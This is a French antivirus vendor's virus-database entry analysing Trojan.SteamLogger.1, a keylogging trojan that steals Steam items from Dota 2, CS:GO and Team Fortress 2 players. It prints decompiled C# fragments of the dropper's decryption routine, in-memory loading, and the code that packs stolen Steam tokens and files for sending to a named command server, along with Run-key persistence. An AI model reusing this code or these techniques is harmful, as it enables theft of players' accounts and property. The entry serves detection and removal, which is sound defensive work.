Bibliothèque
Ma bibliothèque

+ Ajouter à la bibliothèque

Contacter-nous !
Support 24/24 | Rules regarding submitting

Nous téléphoner

0 825 300 230

Forum

Vos requêtes

  • Toutes : -
  • Non clôturées : -
  • Dernière : le -

Nous téléphoner

0 825 300 230

Profil

Trojan.SteamLogger.1

Added to the Dr.Web virus database: 2014-10-25

Virus description added:

C'est un logiciel malveillant conçu pour voler des éléments de jeux des utilisateurs de Steam, notamment Dota 2, Counter-Strike: Global Offensive et Team Fortress 2, mais les malfaiteurs peuvent facilement le modifier pour voler des éléments d’autres jeux. Il est également capable d'enregistrer les frappes clavier (keylogging).

Le Trojan se compose de trois modules fonctionnels : dropper, modules secondaire et principal. Lors de son lancement le dropper du Trojan.SteamLogger.1 déchiffre le module principal et le module secondaire. Le déchiffrement est effectué en deux étapes :

  1. La lecture d'une image dans la mémoire avec une petite transformation :
    public static byte[] D(byte[] text)
    {
        byte[] array = new byte[text.Length];
        for (int i = 0; i < text.Length; i++)
        {
            array[i] = Convert.ToByte((int)text[i] - i - 27);
        }
        return array;
    }
    
  2. Le décryptage en utilisant l'algorithme AES :
    private static byte[] code = new byte[]  //AES key
    {
        149, 133, 127, 135, 145, 135, 134, 144, 147, 141, 159, 138, 136
    };
     
    public byte[] SymmetricDecrypt(byte[] input, byte[] key)
    {
        byte[] result;
        using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
        {
            rijndaelManaged.BlockSize = 128;
            rijndaelManaged.KeySize = 256;
            byte[] array = new byte[16];
            byte[] rgbIV = new byte[array.Length];
            Array.Copy(input, 0, array, 0, array.Length);
            byte[] array2 = new byte[input.Length - array.Length];
            Array.Copy(input, array.Length, array2, 0, array2.Length);
            rijndaelManaged.Mode = CipherMode.ECB;
            rijndaelManaged.Padding = PaddingMode.None;
            using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(key,
               null))
            {
                rgbIV = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
            }
            rijndaelManaged.Mode = CipherMode.CBC;
            rijndaelManaged.Padding = PaddingMode.PKCS7;
            using (ICryptoTransform cryptoTransform2 = rijndaelManaged.CreateDecryptor(key, 
                rgbIV))
            {
                using (MemoryStream memoryStream = new MemoryStream(array2))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, 
                     cryptoTransform2, CryptoStreamMode.Read))
                    {
                        byte[] array3 = new byte[array2.Length];
                        int num = cryptoStream.Read(array3, 0, array3.Length);
                        byte[] array4 = new byte[num];
                        Array.Copy(array3, 0, array4, 0, num);
                        result = array4;
                    }
                }
            }
        }
        return result;
    }
    

Une fois le déchiffrementachevé, le dropper sauvegarde le module secondaire dans le dossier %TEMP% sous le nom Update.exe et le lance. Le module principale est chargé dans la mémoire via la méthode Assembly.Load() :

Assembly assembly = Assembly.Load(array);
program.Invoke(assembly, assembly.EntryPoint);

Puis le logiciel malveillant télécharge depuis le site hxxp://keys-trade.ru/trade/?image= une image et la sauvegarde sur l'ordinateur infecté dans le dossier %TEMP% sous le nom %process_name%.jpg, puis l'affiche sur l'écran :

screen

Le module secondaire vérifie la présence du dossier %ProgramFiles%"+ " (x86)\Common Files\Steam\ et s’il ne le trouve pas, le crée. Puis ce module se copie dans ce dossier sous le nom SteamService.exe, établit ses propriétés comme " système " et " masqué ", puis écrit le chemin vers ce fichier dans la branche du registre système HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, responsable du lancement automatique des applications et le lance.

Il envoie ensuite une requête POST au serveur des malfaiteurs (hxxp://keys-trade.ru/bot/check="), et s'il ne reçoit pas la réponse " OK ", il essaie de se connecter au serveur de gestion via un des serveurs proxy, dont la liste est stockée dans le corps du Trojan.

Le Trojan transmet au serveur de gestion hxxp://keys-trade.ru/bot/ des données sur l'ordinateur infecté (la version de l'OS, son type, ainsi que l'identificateur unique du malware, calculé en utilisant le numéro de série du disque dur sur lequel la partition C est placée). Toutes les 50 minutes le Trojan envoie à ce serveur la requête POST et s'il reçoit la commande download, il télécharge et installe une nouvelle version du module secondaire, en remplaçant le fichier exécutable, stocké dans le dossier %TEMP%\Update.exe.

Lors de son lancement, le module principal vérifie la disponibilité du serveur de gestion et après son initialisation, il recherche dans la mémoire de l'ordinateur infecté le processus portant le nom Steam et vérifie si l'utilisateur a accédé à son compte. Si non, le logiciel malveillant attend l'autorisation du joueur, puis récupère l'info sur ce compte Steam (SteamGuard, steam-id, security token) et envoie ces données aux malfaiteurs. Ensuite il attend la ligne contenant les données pour le transfert des éléments de jeux volés. Cette ligne a la forme suivante :

steam-id,partner,token|steam-id,partner,token|...

où steam-id, partner, token sont les paramètres pour la requête trade.

Puis le Trojan recherche dans le dossier Steam les fichiers de masque " ssfn* " et forme la ligne suivante :

ssfn_filename_1|ssfn_file1_data||ssfn_filename_2|ssfn_file2_data||...

il extrait également tout le contenu des fichiers stockés dans le dossier config\ applications Steam et forme une autre ligne avec ces données, qu'il ajoute à la première, en remplaçant "-" par "". A la fin de la ligne, le Trojan écrit les données sur le compte de la victime, puis cette ligne est cryptée par l'algorithme BASE64 :

text = text + "steamLogin.txt|" + this.ToStrByte(this._token) + "||";
text = text + "steamLoginSecure.txt|" + this.ToStrByte(this._login_secure) + "||";
string text6 = text;
text = string.Concat(new string[]
{
    text6,
    "steamMachineAuth",
    this._steam_id,
    ".txt|",
    this.ToStrByte(this._machine_auth)
});
byte[] inArray = this.Compress(Encoding.UTF8.GetBytes(text));
text = "steam_id=" + this._steam_id + "&receive=" + Convert.ToBase64String(inArray);

Le Trojan reçoit depuis le serveur de gestion la liste des comptes utilisateurs auxquels il peut transférer les éléments de jeux de la victime. Toutes les données recueillies seront transmises à un serveur pirate, puis le Trojan vérifie si le démarrage automatique autorisé de Steam est activé, et s’il est désactivé, il lance le keylogger, qui transmet les données aux malfaiteurs toutes les 15 secondes.

Le Trojan vole les éléments de la victime qui correspondent aux filtres suivants :


private static int[] games = new int[]
{
    570,
    730,
    440
};
string[] source = new string[]
{
    "Mythical",
    "Legendary",
    "Arcana",
    "Immortal"
};
string[] source2 = new string[]
{
    "DOTA_WearableType_Treasure_Key"
};
string[] source3 = new string[]
{
    "Container",
    "Supply Crate"
};

Le Trojan cible les jeux suivants : Dota 2, Counter-Strike: Global Offensive et Team Fortress 2. Le logiciel malveillant tente de voler les éléments de jeux les plus précieux, les clés pour les coffres et les coffres. Il surveille également l'activité du joueur et s'il essaie de vendre un élément, le Trojan tente de supprimer cet élément de la vente. Le Trojan envoie tous les éléments volés à l'un des comptes des malfaiteurs.

Pour vendre les clés pour les coffres de Dota 2 les malfaiteurs ont créé une boutique en-ligne :

screen

screen

News sur cette menace

Recommandations pour le traitement

  1. Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space.
  2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.

Veuillez lancer le scan complet du système à l'aide de Dr.Web Antivirus pour Mac OS.

Veuillez lancer le scan complet de toutes les partitions du disque à l'aide de Dr.Web Antivirus pour Linux.

  1. Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android. Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
  2. Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
    • démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
    • puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
    • Débranchez votre appareil et rebranchez-le.

En savoir plus sur Dr.Web pour Android